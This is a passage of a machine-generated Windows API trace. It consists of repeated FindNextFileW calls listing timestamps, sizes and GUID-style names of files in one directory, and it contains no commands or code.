ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}", cAlternateFileName="{4BCD2~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{4CCC5AFB-555C-44D5-892C-F0F2617C631D}", cAlternateFileName="{4CCC5~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x41d8710a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{4DC87667-8E09-4718-960C-CACE353718FC}", cAlternateFileName="{4DC87~1")) returned 1 [0245.556] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}", cAlternateFileName="{4E705~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{51B0B7BF-2B1A-4FE9-8814-408CD303875D}", cAlternateFileName="{51B0B~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5202C284-5887-45AA-A00F-FDE7E88E85ED}", cAlternateFileName="{5202C~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98965b15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98965b15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{530FD476-4A81-49DE-B228-C202EACB8F92}", cAlternateFileName="{530FD~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{53F21F3D-8237-4CEC-A18E-8D26D784916C}", cAlternateFileName="{53F21~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98c14584, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98c14584, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5534E575-0865-48C0-B802-046F4903AAF0}", cAlternateFileName="{5534E~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1f5fb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x98d1f5fb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5567FA0F-AE06-4D14-B697-1F596323F48A}", cAlternateFileName="{5567F~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9920a3b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9920a3b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5637C49E-DEA6-4D65-B115-D7690B7A1CB0}", cAlternateFileName="{5637C~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{56628538-F2B6-49FB-9D10-354E728724C4}", cAlternateFileName="{56628~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{58BFC882-C01D-4396-BF26-A55720BADA37}", cAlternateFileName="{58BFC~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a88a0b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x99a88a0b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42140727, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5AB008CB-0CE6-4FFC-9BF2-A552FCBD0A3C}", cAlternateFileName="{5AB00~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0585cb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0585cb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{5DB529E8-8819-4E86-B114-23BA7B771028}", cAlternateFileName="{5DB52~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9920a3b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9920a3b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4216695a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{60B864E9-702F-47ED-951E-4744ED9F9767}", cAlternateFileName="{60B86~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995ea0f7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x995ea0f7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{6BB31C2E-FA0C-4956-A18E-B11812B9C486}", cAlternateFileName="{6BB31~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a294928, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a294928, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}", cAlternateFileName="{6BF1E~1")) returned 1 [0245.557] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9e1c82, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a9e1c82, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}", cAlternateFileName="{6EB6C~1")) returned 1 [0245.558] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9925685a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9925685a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{74E006B5-03B7-499C-A87A-98C01F00642C}", cAlternateFileName="{74E00~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5100e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb5100e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}", cAlternateFileName="{754CB~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e363fa, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{77C47392-01FD-4E37-8CD4-29EA6C090EC5}", cAlternateFileName="{77C47~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{77CE3801-C60A-4FC0-83AD-607CBE802B4C}", cAlternateFileName="{77CE3~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x42e5c5fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{789219FF-53B5-44A2-8477-EF2C6EBA1B43}", cAlternateFileName="{78921~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995c3e9b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x995c3e9b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}", cAlternateFileName="{7939D~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380da02c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x380da02c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{7991069C-F81C-4E00-9CF7-E4893986E7E3}", cAlternateFileName="{79910~1")) returned 1 [0245.559] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992a2d25, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x992a2d25, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x442528d2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}", cAlternateFileName="{7C4BA~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb511781d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb511781d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}", cAlternateFileName="{7CE59~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3806791c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3806791c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{7D365946-8370-4038-8364-1D85D2D69BF5}", cAlternateFileName="{7D365~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9230c6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a9230c6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{803254EC-E5AF-441F-BA9E-59FEA741AF56}", cAlternateFileName="{80325~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa2e131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aa2e131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8062D437-AF97-40EE-8A69-2AE530BD9C47}", cAlternateFileName="{8062D~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb77277, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bb77277, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8428D171-5820-4E58-8DDB-7ED13951D0DF}", cAlternateFileName="{8428D~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaa084b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aaa084b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{89401BAE-1680-4ACA-85C1-003BB13BCBCC}", cAlternateFileName="{89401~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaa084b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aaa084b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8C4A08B7-5CDB-4669-9FDA-D68576361570}", cAlternateFileName="{8C4A0~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad02de6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ad02de6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8CBD0221-57D1-4FDF-9D21-5922534D0822}", cAlternateFileName="{8CBD0~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad29032, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ad29032, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44847f9f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}", cAlternateFileName="{8E1A4~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38198bf3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38198bf3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{8FEFF271-6986-41E3-9230-E590CBB9A05D}", cAlternateFileName="{8FEFF~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{90D3E932-8AF8-49E8-98F5-070B13F94403}", cAlternateFileName="{90D3E~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae0de76, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ae0de76, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x449790fd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{9131B142-76D7-4452-8650-524C6F4D9D07}", cAlternateFileName="{9131B~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb513da85, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb513da85, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{92B80E70-6ED3-42E7-830D-EF665C1DCD71}", cAlternateFileName="{92B80~1")) returned 1 [0245.560] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9927cac9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9927cac9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{9485C3DE-E1A0-4074-8C1B-4DC45764656C}", cAlternateFileName="{9485C~1")) returned 1 [0245.561] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{983FD517-E332-4EC3-912D-37488A0D4CAD}", cAlternateFileName="{983FD~1")) returned 1 [0245.561] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc0fbe3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bc0fbe3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{9A290AB2-7828-46C3-A57F-0DEE793F6B93}", cAlternateFileName="{9A290~1")) returned 1 [0245.561] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: 